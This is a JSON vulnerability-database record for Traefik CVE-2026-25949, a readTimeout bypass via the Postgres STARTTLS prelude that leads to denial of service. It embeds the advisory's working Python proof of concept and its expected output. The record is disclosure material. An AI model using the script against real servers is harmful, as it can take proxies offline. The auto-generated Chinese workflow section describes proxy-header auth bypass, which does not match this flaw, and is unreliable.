180 行
16 KiB
JSON
180 行
16 KiB
JSON
{
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"canonical_id": "traefik--CVE-2026-25949",
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"system_id": "traefik",
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"display_name": "Traefik",
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"category": "servers",
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"advisory_mode": "server",
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"title": "Traefik: TCP readTimeout bypass via STARTTLS on Postgres",
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"summary": "## Impact\n\nThere is a potential vulnerability in Traefik managing STARTTLS requests. \n\nAn unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service. \n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.8\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n### Summary\nA remote, unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service.\n\nThis triggers during protocol detection **before routing**, so it is reachable on an entrypoint even when **no Postgres/TCP routers are configured** (the PoC uses only an HTTP router).\n\n### Details\nTraefik applies per-connection deadlines based on `entryPoints.<name>.transport.respondingTimeouts.readTimeout` to prevent protocol detection and request reads from blocking forever (see `pkg/server/server_entrypoint_tcp.go`, which sets `SetReadDeadline` on accepted connections).\n\nHowever, in the TCP router protocol detection path (`pkg/server/router/tcp/router.go`), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines:\n\n- detect Postgres SSLRequest (8-byte signature),\n- call `conn.SetDeadline(time.Time{})` (clears all deadlines),\n- then enter the Postgres STARTTLS handler (`servePostgres`).\n\nThe Postgres handler (`pkg/server/router/tcp/postgres.go`) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (`clientHelloInfo(br)`), but with deadlines removed. An attacker can therefore:\n\n1. connect to any internet-exposed TCP entrypoint,\n2. send the Postgres SSLRequest (SSL negotiation request),\n3. receive Traefik\u2019s single-byte response (`S`),\n4. stop sending any further bytes.\n\n\nEach such connection remains open past the configured `readTimeout` (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits.\n\n_Of note_: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path.\n\nTested versions:\n- `v3.6.7`\n- `master` at commit `a4a91344edcdd6276c1b766ca19ee3f0e346480f` \n\n### PoC\nPrerequisites:\n- Linux host\n- Python 3\n- A prebuilt Traefik `v3.6.7` binary. The script below expects the path in the script\u2019s `TRAEFIK_BIN` constant (edit if needed).\n\nExecute the script below:\n<details>\n<summary>Script (Click to expand)</summary>\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport os\nimport socket\nimport subprocess\nimport tempfile\nimport time\nfrom typing import Final\n\n# Hardcode the Traefik binary path. Edit as needed.\nTRAEFIK_BIN: Final[str] = \"/usr/local/sbin/traefik\"\n\nHOST: Final[str] = \"127.0.0.1\"\nPORT: Final[int] = 18080\n\nSTARTUP_SLEEP_SECS: Final[float] = 2.0\nREAD_TIMEOUT_SECS: Final[float] = 2.0\nSLEEP_SECS: Final[float] = 3.5\nN_CONNS: Final[int] = 300\n\nPOSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F])\n\n\ndef fd_count(pid: int) -> int:\n return len(os.listdir(f\"/proc/{pid}/fd\"))\n\n\ndef open_idle_conns(n: int) -> list[socket.socket]:\n conns: list[socket.socket] = []\n for _ in range(n):\n conns.append(socket.create_connection((HOST, PORT)))\n return conns\n\n\ndef open_postgres_sslrequest_conns(n: int) -> list[socket.socket]:\n conns: list[socket.socket] = []\n for _ in range(n):\n s = socket.create_connection((HOST, PORT))\n s.settimeout(1.0)\n s.sendall(POSTGRES_SSLREQUEST)\n try:\n _ = s.recv(1) # typically b\"S\"\n except socket.timeout:\n pass\n conns.append(s)\n return conns\n\n\ndef close_all(conns: list[socket.socket]) -> None:\n for s in conns:\n try:\n s.close()\n except OSError:\n pass\n\n\ndef main() -> None:\n with tempfile.TemporaryDirectory(prefix=\"vh-traefik-f005-\") as td:\n dyn = os.path.join(td, \"dynamic.yml\")\n with open(dyn, \"w\", encoding=\"utf-8\") as f:\n f.write(\n f\"\"\"\\\nhttp:\n routers:\n r:\n entryPoints: [web]\n rule: \"PathPrefix(`/`)\"\n service: s\n services:\n s:\n loadBalancer:\n servers:\n - url: \"http://{HOST}:9\"\n\"\"\"\n )\n\n proc = subprocess.Popen(\n [\n TRAEFIK_BIN,\n \"--log.level=ERROR\",\n f\"--entryPoints.web.address=:{PORT}\",\n f\"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s\",\n f\"--providers.file.filename={dyn}\",\n \"--providers.file.watch=false\",\n ],\n stdout=subprocess.DEVNULL,\n stderr=subprocess.STDOUT,\n )\n try:\n time.sleep(STARTUP_SLEEP_SECS)\n\n pid = proc.pid\n if pid is None:\n raise RuntimeError(\"Traefik PID is None\")\n\n ver = subprocess.check_output([TRAEFIK_BIN, \"version\"], text=True).strip()\n print(ver)\n print(f\"Traefik={TRAEFIK_BIN}\")\n print(f\"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s\")\n\n base = fd_count(pid)\n print(f\"traefik_pid={pid} fd_base={base}\")\n\n idle = open_idle_conns(N_CONNS)\n fd_after_open_idle = fd_count(pid)\n print(f\"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}\")\n time.sleep(SLEEP_SECS)\n fd_after_sleep_idle = fd_count(pid)\n print(f\"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}\")\n close_all(idle)\n\n pg = open_postgres_sslrequest_conns(N_CONNS)\n fd_after_open_pg = fd_count(pid)\n print(f\"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}\")\n time.sleep(SLEEP_SECS)\n fd_after_sleep_pg = fd_count(pid)\n print(f\"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}\")\n close_all(pg)\n\n if (fd_after_sleep_idle - base) <= 5 and (fd_after_sleep_pg - base) >= (N_CONNS // 2):\n print(\"VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.\")\n else:\n print(\"INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.\")\n finally:\n proc.terminate()\n try:\n proc.wait(timeout=3.0)\n except subprocess.TimeoutExpired:\n proc.kill()\n proc.wait(timeout=3.0)\n\n\nif __name__ == \"__main__\":\n main()\n```\n</details>\n\n\n<details>\n<summary>Expected output (Click to expand)</summary>\n\n```bash\nVersion: 3.6.7\nCodename: ramequin\nGo version: go1.24.11\nBuilt: 2026-01-14T14:04:03Z\nOS/Arch: linux/amd64\nTraefik=/usr/local/sbin/traefik\nHost=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s\ntraefik_pid=46204 fd_base=6\nbaseline_opened=300 fd_after_open=128 delta=122\nbaseline_after_sleep fd=6 delta_from_base=0\ncandidate_opened=300 fd_after_open=306 delta=300\ncandidate_after_sleep fd=306 delta_from_base=300\nVULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.\n```\n</details>\n\n### Impact\nDenial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including \"web\" HTTP entrypoints) with a `readTimeout` is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline.\n\n</details>",
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"published_at": "2026-02-12T15:54:11Z",
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"updated_at": "2026-02-25T14:44:05.939193Z",
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"severity": "low",
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"cvss_score": 3.1,
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"exploit_status": "unknown",
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"source_confidence": "official",
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"official_source_url": "https://github.com/traefik/traefik/security/advisories/GHSA-89p3-4642-cr2w",
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"secondary_source_urls": [
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"https://nvd.nist.gov/vuln/detail/CVE-2026-25949",
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"https://github.com/traefik/traefik/commit/31e566e9f1d7888ccb6fbc18bfed427203c35678",
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"https://github.com/traefik/traefik",
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"https://github.com/traefik/traefik/releases/tag/v3.6.8"
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],
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"aliases": [
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"CVE-2026-25949",
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"GO-2026-4484",
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"GHSA-89p3-4642-cr2w"
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],
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"cve_ids": [
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"CVE-2026-25949"
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],
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"ghsa_ids": [
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"GHSA-89p3-4642-cr2w"
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],
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"osv_ids": [
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"GHSA-89p3-4642-cr2w",
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"GO-2026-4484"
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],
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"affected_versions": [
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"introduced=0, fixed<3.6.8",
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"introduced=0"
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],
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"fixed_versions": [
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"3.6.8"
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],
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"package_name": "github.com/traefik/traefik/v3",
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"render_markdown": false,
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"case_path": null,
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"secure_code_topics": [
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"proxy-trust-boundary",
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"request-smuggling-boundary",
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"dependency-upgrade-policy"
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],
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"status": "generated",
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"triage_reasons": [],
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"entity_refs": [
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{
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"entity_id": "traefik",
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"entity_type": "system",
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"relation": "root-system",
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"root_system_id": "traefik",
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"official": true
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},
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{
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"entity_id": "traefik--repo--github-com-traefik-traefik-v3",
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"entity_type": "repo",
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"relation": "affected-component",
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"root_system_id": "traefik",
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"official": false
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}
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],
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"affected_components": [
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{
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"name": "traefik / traefik / v3",
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"entity_id": "traefik--repo--github-com-traefik-traefik-v3",
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"scope": "repo",
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"package_name": "github.com/traefik/traefik/v3",
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"official": false
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}
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],
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"affected_version_ranges": [
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"introduced=0, fixed<3.6.8",
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"introduced=0"
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],
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"fixed_version_ranges": [
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"3.6.8"
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],
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"introduced_version": "introduced=0",
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"patched_version": "3.6.8",
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"version_evidence_sources": [
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"https://github.com/traefik/traefik/security/advisories/GHSA-89p3-4642-cr2w",
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"https://nvd.nist.gov/vuln/detail/CVE-2026-25949",
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"https://github.com/traefik/traefik/commit/31e566e9f1d7888ccb6fbc18bfed427203c35678",
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"https://github.com/traefik/traefik",
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"https://github.com/traefik/traefik/releases/tag/v3.6.8"
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],
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"advisory_scope": "repo",
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"version_confidence": "high",
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"version_gap_reason": "",
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"version_resolution_needed": false,
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"workflow": {
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"workflow_id": "traefik--CVE-2026-25949--workflow",
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"vuln_family": "proxy-boundary",
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"entry_surface": "proxy-header-or-trust-boundary",
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"preconditions": [
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"\u4ec5\u5728 lab-local\u3001lab-public \u6216\u660e\u786e\u6388\u6743\u76ee\u6807\u4e2d\u6267\u884c\u3002",
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"\u786e\u8ba4\u76ee\u6807\u547d\u4e2d\u7248\u672c\u65ad\u8a00: introduced=0, fixed<3.6.8, introduced=0",
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"\u82e5\u5bf9\u8c61\u5c5e\u4e8e `repo`\uff0c\u5148\u786e\u8ba4\u6269\u5c55/\u4ed3\u5e93/\u5305\u5df2\u542f\u7528\u5e76\u5904\u4e8e\u53d7\u5f71\u54cd\u7248\u672c\u3002"
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],
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"required_role": "reverse-proxy-or-edge-client",
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"affected_version_assertion": [
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"introduced=0, fixed<3.6.8",
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"introduced=0"
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],
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"trigger_vector": "\u5bf9 `proxy-boundary` \u5bb6\u65cf\u5165\u53e3\u6295\u9012\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\uff0c\u6bd4\u8f83\u4fee\u590d\u524d\u540e\u5dee\u5f02\u3002",
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"request_or_ui_path": [
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"/middleware",
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"/x-forwarded-* trust path"
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],
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"input_shape": "\u63d0\u4ea4\u53d7\u63a7\u4ee3\u7406\u5934\u6216\u6765\u6e90\u5934\uff0c\u9a8c\u8bc1\u4fe1\u4efb\u8fb9\u754c\u548c\u56de\u6e90\u9274\u6743\u3002",
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"expected_unsafe_behavior": "\u4ec5\u51ed\u4ee3\u7406\u5934\u5373\u53ef\u8d8a\u8fc7\u9274\u6743\u6216\u6765\u6e90\u63a7\u5236\u3002",
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"server_evidence_points": [
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"\u5e94\u7528\u65e5\u5fd7\u4e2d\u7684\u547d\u4e2d\u8def\u5f84\u3001\u9274\u6743\u51b3\u7b56\u548c\u5f02\u5e38\u6808",
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"\u53cd\u5411\u4ee3\u7406\u6216\u8fb9\u754c\u5c42\u65e5\u5fd7\u4e2d\u7684\u8bf7\u6c42\u5934\u3001\u6765\u6e90 IP \u4e0e\u8def\u7531\u51b3\u7b56"
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],
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"browser_evidence_points": [
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"\u57fa\u7ebf\u622a\u56fe\u4e0e\u653b\u51fb\u540e\u622a\u56fe\u7684 DOM/\u89c6\u89c9\u5dee\u5f02",
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"console\u3001network \u4e0e response metadata \u4e2d\u7684\u5f02\u5e38\u4fe1\u53f7"
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],
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"db_or_fs_evidence_points": [
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"\u6570\u636e\u5e93\u4e2d\u65b0\u589e/\u8d8a\u6743\u8bfb\u53d6\u7684\u6d4b\u8bd5\u6570\u636e",
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"\u6587\u4ef6\u7cfb\u7edf\u4e2d\u65b0\u589e\u4e0a\u4f20\u6837\u672c\u3001\u7f13\u5b58\u6761\u76ee\u6216\u8d8a\u6743\u8bfb\u53d6\u75d5\u8ff9"
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],
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"detection_signals": [
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"WAF / reverse proxy \u5f02\u5e38\u65e5\u5fd7\u3001\u8bbf\u95ee\u65e5\u5fd7\u548c\u544a\u8b66",
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"\u5e94\u7528\u5ba1\u8ba1\u65e5\u5fd7\u4e2d\u7684\u6743\u9650\u9519\u8bef\u3001\u91cd\u5b9a\u5411\u5f02\u5e38\u3001\u6a21\u677f\u6e32\u67d3\u6216\u4e0a\u4f20\u843d\u76d8\u4e8b\u4ef6",
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"\u4e0a\u6e38\u4ee3\u7406\u4e0e\u5e94\u7528\u5c42\u5bf9 Content-Length / Transfer-Encoding / forwarded headers \u7684\u89e3\u91ca\u5dee\u5f02"
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],
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"mitigation_summary": "\u4f18\u5148\u5347\u7ea7\u5230\u4fee\u590d\u7248\u672c\uff0c\u5e76\u540c\u65f6\u6536\u7d27\u8f93\u5165\u6821\u9a8c\u3001\u670d\u52a1\u7aef\u9274\u6743\u3001\u4ee3\u7406\u4fe1\u4efb\u8fb9\u754c\u3001\u6269\u5c55\u5b89\u88c5\u4fe1\u4efb\u548c\u5ba1\u8ba1\u65e5\u5fd7\u3002",
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"patch_validation_steps": [
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"\u786e\u8ba4\u76ee\u6807\u7248\u672c\u4ece `introduced=0, fixed<3.6.8, introduced=0` \u5347\u7ea7\u6216\u56de\u79fb\u5230 `3.6.8`\u3002",
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"\u4fdd\u7559\u540c\u4e00\u7ec4\u53d7\u63a7\u8f93\u5165\uff0c\u5728\u4fee\u590d\u524d\u540e\u5206\u522b\u6267\u884c\u5e76\u6bd4\u5bf9\u54cd\u5e94\u3001\u65e5\u5fd7\u4e0e\u6d4f\u89c8\u5668\u8bc1\u636e\u3002",
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"\u786e\u8ba4\u4fee\u590d\u540e\u4ec5\u4fdd\u7559\u9884\u671f\u4e1a\u52a1\u884c\u4e3a\uff0c\u4e0d\u518d\u89e6\u53d1\u8d8a\u6743\u3001\u56de\u663e\u3001\u5f02\u5e38\u6e32\u67d3\u6216\u9519\u8bef\u8bf7\u6c42\u3002",
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"\u8865\u5145 `proxy-boundary` \u65cf\u81ea\u52a8\u5316\u56de\u5f52\uff0c\u907f\u514d\u540c\u7c7b\u8def\u5f84\u5728\u63d2\u4ef6\u3001\u4e3b\u9898\u6216\u4ee3\u7406\u94fe\u4e2d\u56de\u5f52\u3002"
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],
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"lab_safety_notes": [
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"\u53ea\u4f7f\u7528\u56de\u73af\u5730\u5740\u3001\u54e8\u5175\u76ee\u6807\u3001\u65e0\u5bb3\u6837\u672c\u6216\u53ef\u56de\u6eda\u6d4b\u8bd5\u6570\u636e\u3002",
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"\u7981\u6b62\u9020\u6210\u6301\u4e45\u7834\u574f\u3001\u8d8a\u6743\u4e0b\u8f7d\u771f\u5b9e\u6570\u636e\u6216\u4e0d\u53ef\u56de\u6eda side effect\u3002",
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"\u5982\u9700\u6d4f\u89c8\u5668\u8bc1\u636e\uff0c\u4fdd\u7559 baseline / proof \u4e24\u4efd\u5feb\u7167\u4ee5\u53ca console / network \u8bb0\u5f55\u3002"
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],
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"review_state": "ready"
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},
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"verification_status": "triage-manual",
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"verification_mode": "synthetic",
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"last_verified_at": null,
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"last_run_id": null,
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"evidence_bundle": null,
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"historical_status": null,
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"latest_status": null,
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"browser_evidence": {
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"required": false,
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"present": false,
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"refs": []
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},
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"repro_profile_id": "proxy-boundary-generic",
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"artifact_mode": "synthetic",
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"blocked_reason": null,
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"metadata": {
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"source_names": [
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"OSV Traefik"
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],
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"source_kinds": [
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"osv-batch"
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],
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"candidate_count": 2,
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"entity_ref_count": 2,
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"advisory_scope": "repo",
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"version_confidence": "high",
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"workflow_id": "traefik--CVE-2026-25949--workflow"
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}
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}
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